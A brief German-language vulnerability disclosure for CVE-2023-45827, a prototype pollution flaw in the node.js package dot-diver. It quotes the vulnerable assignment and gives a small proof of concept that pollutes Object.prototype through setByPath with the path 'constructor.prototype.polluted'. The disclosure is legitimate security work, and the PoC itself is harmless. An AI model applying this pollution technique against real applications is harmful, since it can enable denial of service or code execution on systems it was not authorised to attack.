
pp
CVE-2023-45827
CVSS : 9.8
Prototype Pollution im node.js-Paket
Im Rahmen des rebob-Projekts
Dies ist eine Prototype Pollution (PP) Schwachstelle in dot-diver. Sie kann zu RCE führen.
verwundbarer Code
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
PoC
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
Es handelt sich um Prototype Pollution (PP) und kann zu DoS, RCE usw. führen.